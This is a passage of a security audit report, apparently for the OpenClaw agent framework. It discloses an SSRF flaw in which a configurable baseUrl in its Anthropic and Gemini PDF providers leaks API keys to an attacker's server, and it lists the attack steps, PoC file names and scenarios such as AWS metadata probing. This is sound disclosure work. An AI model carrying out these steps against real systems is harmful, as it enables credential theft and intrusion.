notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b8a224c8258bfa9677" data-id="3230f0c5b87c80b8a224c8258bfa9677"><span><div id="3230f0c5b87c80b8a224c8258bfa9677" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b8a224c8258bfa9677" title="Log-based Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Log-based Detection</span></span></h4><div class="notion-blank notion-block-3230f0c5b87c808b91a4c349b2c1d85b"> </div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80be8aa0f90acdf269f4" data-id="3230f0c5b87c80be8aa0f90acdf269f4"><span><div id="3230f0c5b87c80be8aa0f90acdf269f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80be8aa0f90acdf269f4" title="Network Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Network Monitoring</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8036831af8220798fe5a" data-id="3230f0c5b87c8036831af8220798fe5a"><span><div id="3230f0c5b87c8036831af8220798fe5a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8036831af8220798fe5a" title="Configuration Audit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Configuration Audit</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80229413fc02c1b6b29d" data-id="3230f0c5b87c80229413fc02c1b6b29d"><span><div id="3230f0c5b87c80229413fc02c1b6b29d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80229413fc02c1b6b29d" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a68a9ed7c9f71ca0fc"><li><b>2026-03-11</b>: Vulnerability discovered during systematic SSRF pattern analysis</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809da63bc3e325c0e8a0"><li><b>2026-03-11</b>: PoC created and verified (3/3 requests captured)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d1adbdfec556d93d4d"><li><b>2026-03-11</b>: Identified as variant of GHSA-007 with lower severity</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8078a7c0f7e556a16e38"><li><b>2026-03-11</b>: GitHub Security Advisory created</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8065be75f34fe9408a0b" data-id="3230f0c5b87c8065be75f34fe9408a0b"><span><div id="3230f0c5b87c8065be75f34fe9408a0b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8065be75f34fe9408a0b" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805ca1d2c0d453210e31"><li>PoC Script: <code class="notion-inline-code">poc_NEW5_7_8_ollama_vllm_ssrf.js</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8070bc03d4ccb28f7839"><li>Verification: Captured 3 SSRF requests (Ollama discovery, vLLM discovery, Ollama stream)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8052977dd987f9b45c90"><li>Related: GHSA-007 (TTS SSRF - same root cause, higher impact)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ff87c0de8b5b1b85cf"><li>OWASP SSRF Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80adaf6fdd584b93d633"><li>CWE-918: https://cwe.mitre.org/data/definitions/918.html</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807b9d57e5a9d744bbbe" data-id="3230f0c5b87c807b9d57e5a9d744bbbe"><span><div id="3230f0c5b87c807b9d57e5a9d744bbbe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807b9d57e5a9d744bbbe" title="Credits"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credits</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80288710f65415e24d22">Discovered during deep security audit analyzing 255 historical OpenClaw advisories. Identified as part of systematic baseUrl SSRF pattern analysis alongside GHSA-007.</div><hr class="notion-hr notion-block-3230f0c5b87c80889f02e145ec70db65"/><div class="notion-text notion-block-3230f0c5b87c80feab77e65aeaa6b251"><b>Report Classification</b>: Confirmed Exploitable
<b>Verification Status</b>: ✅ PoC Tested (3 SSRF requests captured)
<b>Priority</b>: Medium - Requires remediation alongside GHSA-007
<b>Recommended Action</b>: Implement unified SSRF protection for all baseUrl parameters across codebase</div><hr class="notion-hr notion-block-3230f0c5b87c8008b5f2ecd63dec1db0"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80028db2ccab6a6846ac" data-id="3230f0c5b87c80028db2ccab6a6846ac"><span><div id="3230f0c5b87c80028db2ccab6a6846ac" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80028db2ccab6a6846ac" title="GHSA-010: Anthropic/Gemini PDF Provider BaseUrl SSRF with API Key Exfiltration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-010: Anthropic/Gemini PDF Provider BaseUrl SSRF with API Key Exfiltration</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80b2b08cf838a513934c"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808c87d2fff265810bcd" data-id="3230f0c5b87c808c87d2fff265810bcd"><span><div id="3230f0c5b87c808c87d2fff265810bcd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808c87d2fff265810bcd" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8058ada4ef68e41cead3">Anthropic and Gemini PDF processing providers accept optional user-controlled <code class="notion-inline-code">baseUrl</code> parameters and perform unprotected <code class="notion-inline-code">fetch()</code> calls, enabling Server-Side Request Forgery (SSRF) attacks with API key leakage. Lower severity than GHSA-007 due to optional parameter and less frequent usage.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80049329c585b39d3193" data-id="3230f0c5b87c80049329c585b39d3193"><span><div id="3230f0c5b87c80049329c585b39d3193" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80049329c585b39d3193" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800187c6dabcbe128564"><b>Medium</b> - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (6.8)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807da213d21930e668fd" data-id="3230f0c5b87c807da213d21930e668fd"><span><div id="3230f0c5b87c807da213d21930e668fd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807da213d21930e668fd" title="Affected Components"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Components</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8000b7a8e5b676c6334f"><li><b>Anthropic PDF Provider</b>: <code class="notion-inline-code">pdf-native-providers.ts:63</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805181c2e48f5cf52333"><li><b>Gemini PDF Provider</b>: <code class="notion-inline-code">pdf-native-providers.ts:146</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807baf8dc4b6b8fd024c" data-id="3230f0c5b87c807baf8dc4b6b8fd024c"><span><div id="3230f0c5b87c807baf8dc4b6b8fd024c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807baf8dc4b6b8fd024c" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802b9926cbfaa036fbfe" data-id="3230f0c5b87c802b9926cbfaa036fbfe"><span><div id="3230f0c5b87c802b9926cbfaa036fbfe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802b9926cbfaa036fbfe" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c802bb66ae2994af39ae9">The PDF provider functions accept optional <code class="notion-inline-code">baseUrl</code> parameters from configuration. When provided, these are directly used in <code class="notion-inline-code">fetch()</code> calls without SSRF validation:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801f93d1fe349d01e6c5" data-id="3230f0c5b87c801f93d1fe349d01e6c5"><span><div id="3230f0c5b87c801f93d1fe349d01e6c5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801f93d1fe349d01e6c5" title="Attack Vector"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Vector</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80768e29fbe075bfcc7b" style="list-style-type:decimal"><li>Attacker with admin/operator privileges modifies PDF provider configuration via <code class="notion-inline-code">config.patch</code> API</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80aa94f7cc7382174170" style="list-style-type:decimal"><li>Sets malicious <code class="notion-inline-code">baseUrl</code> for Anthropic or Gemini PDF provider</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80399926ec724dd22888" style="list-style-type:decimal"><li>Triggers PDF processing by uploading PDF document to agent</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8065af54e2ec5ee0abe3" style="list-style-type:decimal"><li>Application sends POST request to attacker URL with:</li><ol class="notion-list notion-list-numbered notion-block-3230f0c5b87c8065af54e2ec5ee0abe3" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8037a380d62801669109"><li><b>Anthropic</b>: API key in <code class="notion-inline-code">x-api-key</code> header</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80778c60c50b1f556e4c"><li><b>Gemini</b>: API key in query parameter <code class="notion-inline-code">?key=...</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800bad69d502f661001c"><li>Request body containing PDF processing parameters</li></ul></ol></ol><ol start="5" class="notion-list notion-list-numbered notion-block-3230f0c5b87c803c981de29d05e46648" style="list-style-type:decimal"><li>Attacker captures API keys and can abuse victim’s paid API quota</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803cbe3eea2eb3700a42" data-id="3230f0c5b87c803cbe3eea2eb3700a42"><span><div id="3230f0c5b87c803cbe3eea2eb3700a42" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803cbe3eea2eb3700a42" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d9bd54f274cd7f8591"><b>复现截图 - Anthropic PDF SSRF 捕获：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8022aa22f65dda3134d5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa010_step1_anthropic.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8022-aa22-f65dda3134d5" alt="Anthropic" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8092b9b8d71771d5e80a">Anthropic</div><div class="notion-text notion-block-3230f0c5b87c80d281bfe0d3447a8b0e"><b>复现截图 - Gemini PDF SSRF（URL 查询参数密钥泄露）：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80d3b867cbdc033178c5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa010_step2_gemini.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80d3-b867-cbdc033178c5" alt="Gemini" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8036a321ecbd0f4568bc">Gemini</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80619093c028694418a9" data-id="3230f0c5b87c80619093c028694418a9"><span><div id="3230f0c5b87c80619093c028694418a9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80619093c028694418a9" title="PoC Script"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">PoC Script</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80398b8af5469fec90ec"><b>File</b>: <code class="notion-inline-code">poc_NEW6_anthropic_gemini_pdf_ssrf.js</code></div><div class="notion-text notion-block-3230f0c5b87c806b9f2dc6e4843b9478">The PoC demonstrates:
- Anthropic PDF SSRF with API key in header
- Gemini PDF SSRF with API key in query parameter
- AWS IMDS targeting scenario
- Internal service probing with API key leakage</div><div class="notion-text notion-block-3230f0c5b87c800eb2cdf71e1f839064"><b>Verification Results</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807d97b3c2bca72e1ea4" data-id="3230f0c5b87c807d97b3c2bca72e1ea4"><span><div id="3230f0c5b87c807d97b3c2bca72e1ea4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807d97b3c2bca72e1ea4" title="Manual Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Manual Reproduction Steps</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80829cd4fdefc36a53a0"><b>Step 1: Modify PDF Provider Configuration</b></div><div class="notion-text notion-block-3230f0c5b87c808aa296c9ee7f4b3a82"><b>Step 2: Trigger PDF Processing</b></div><div class="notion-text notion-block-3230f0c5b87c80969b82f2f6ca966e51"><b>Step 3: Capture on Attacker Server</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fab75ce51f02bfe04d" data-id="3230f0c5b87c80fab75ce51f02bfe04d"><span><div id="3230f0c5b87c80fab75ce51f02bfe04d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fab75ce51f02bfe04d" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8043b058c3e76cf0481e" data-id="3230f0c5b87c8043b058c3e76cf0481e"><span><div id="3230f0c5b87c8043b058c3e76cf0481e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8043b058c3e76cf0481e" title="1. External API Key Exfiltration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. External API Key Exfiltration</span></span></h4><div class="notion-text notion-block-3230f0c5b87c806f8b50c3eea609cd33"><b>Impact</b>: Direct theft of Anthropic API keys</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805b8662d264e861a0b5" data-id="3230f0c5b87c805b8662d264e861a0b5"><span><div id="3230f0c5b87c805b8662d264e861a0b5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805b8662d264e861a0b5" title="2. Gemini API Key via Query Parameter"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. Gemini API Key via Query Parameter</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8088bfe2f90459d40ab5"><b>Impact</b>: API key leaked in URL query parameter (worse than header leak - logged everywhere)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80878bbdfc58f7e22732" data-id="3230f0c5b87c80878bbdfc58f7e22732"><span><div id="3230f0c5b87c80878bbdfc58f7e22732" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80878bbdfc58f7e22732" title="3. AWS IMDS Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. AWS IMDS Exploitation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e1958be64199ccff8f"><b>Impact</b>: Attempt POST to AWS metadata service with API key in header</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808b8a2ad6a4fdd302cc" data-id="3230f0c5b87c808b8a2ad6a4fdd302cc"><span><div id="3230f0c5b87c808b8a2ad6a4fdd302cc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808b8a2ad6a4fdd302cc" title="4. Internal API with Credential Leakage"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 